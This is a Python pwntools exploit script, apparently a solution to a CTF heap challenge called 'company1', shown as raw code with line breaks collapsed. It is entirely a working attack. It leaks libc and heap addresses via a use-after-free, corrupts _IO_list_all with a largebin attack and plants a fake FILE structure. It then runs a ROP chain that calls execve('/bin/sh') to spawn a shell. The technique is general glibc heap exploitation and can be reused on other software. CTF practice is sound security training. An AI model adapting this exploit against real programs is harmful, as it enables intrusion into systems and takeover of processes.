1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175
| from pwn import *
arch = 64 challenge = './company1'
context.os='linux'
if arch==64: context.arch='amd64' if arch==32: context.arch='i386'
elf = ELF(challenge) libc = ELF('libc.so.6')
rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text)
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s))) uu32 = lambda data : u32(data.ljust(4, b'x00')) uu64 = lambda data : u64(data.ljust(8, b'x00'))
b = "set debug-file-directory ./.debug/\n"
local = 1 if local: p = process(challenge) else: p = remote('company.chal.crewc.tf','17001') def debug(): gdb.attach(p) def cmd(op): sleep(0.2) sla(">> ",str(op))
def add(index,size,name="1",position="HR",salary=0): cmd(1) sla("Index:",str(index)) if(type(size)==int): sla("Size: ",str(size)) else: sla("Size: ",size) sa("Name:",name) sa("Position:",position) sla("Salary:",str(salary))
def dele(index): cmd(2) sla("Index:",str(index))
def edit(index,index2,data): cmd(3) sla("you are? ",str(index)) sla("feedback? ",str(index2)) sa("Feedback",data)
def show(index): cmd(4) sla("see? ",str(index))
def salary(index,sala): cmd(5) sla("salary?",str(index)) sla("Salary: ",str(sala))
name = "a"*0x8 + p64(0x61) sla("name? ",name)
add(0,0x550) add(1,0x550) add(2,0x550) dele(1) dele(0) add(3,0x570) add(4,0x530) dele(4)
cmd(3) sla("you are? ",str(0)) sla("feedback? ",str(1)) ru("Feedback (") leak_addr = eval(ru(")")) libc_base = leak_addr - 0x1f6c98 success("leak_addr >> "+hex(leak_addr)) success("libc_base >> "+hex(libc_base))
io_list_all = libc_base + 0x1f7680 success("io_list_all >> "+hex(io_list_all))
add(5,0x530) add(6,0x540) add(7,0x540) dele(6) dele(5)
cmd(3) sla("you are? ",str(0)) sla("feedback? ",str(1)) ru("Feedback (") leak_addr = eval(ru(")")) heap_base = leak_addr - 0x1268 success("leak_addr >> "+hex(leak_addr)) success("heap_base >> "+hex(heap_base))
add(8,0x560) add(9,0x530) dele(9)
salary(6,io_list_all-0x20) add(10,0x550)
libc_system = libc_base + libc.sym["system"] setcontext = libc_base + libc.sym["setcontext"] + 61 _IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
next_chain = 0 fake_io_addr = heap_base + 0x12c0 - 0x10 payload_addr = heap_base + 0x858 flag_addr = heap_base
fake_IO_FILE = p64(2) fake_IO_FILE += p64(payload_addr-0xa0) fake_IO_FILE += p64(setcontext) fake_IO_FILE = fake_IO_FILE.ljust(0x58-0x38, '\x00') fake_IO_FILE += p64(0) fake_IO_FILE = fake_IO_FILE.ljust(0x78-0x38, '\x00') fake_IO_FILE += p64(flag_addr) fake_IO_FILE = fake_IO_FILE.ljust(0x90-0x38, '\x00') fake_IO_FILE += p64(fake_io_addr+0x30) fake_IO_FILE = fake_IO_FILE.ljust(0xb0-0x38, '\x00') fake_IO_FILE += p64(1) fake_IO_FILE = fake_IO_FILE.ljust(0xc8-0x38, '\x00') fake_IO_FILE += p64(_IO_wfile_jumps+0x30) fake_IO_FILE += p64(0)*6 fake_IO_FILE += p64(fake_io_addr+0x40)
add(11,0x530) salary(6,heap_base+0x12b0) add(12,0x540,name="/bin/sh\x00"+p64(0)*2,position=p64(0)+p64(1)) edit(2,12,fake_IO_FILE)
syscall_ret = 0x000000000010b3c9 + libc_base pop_rdi_ret = 0x00000000000240e5 + libc_base pop_rsi_ret = 0x000000000002573e + libc_base pop_rdx_ret = 0x0000000000026302 + libc_base pop_rax_ret = 0x0000000000040143 + libc_base
payload = p64(payload_addr) payload += p64(pop_rdi_ret) + p64(fake_io_addr+0x10) payload += p64(pop_rsi_ret) + p64(0) payload += p64(pop_rdx_ret) + p64(0) payload += p64(pop_rax_ret) + p64(59) payload += p64(syscall_ret)
edit(2,11,payload)
cmd(9)
p.interactive()
|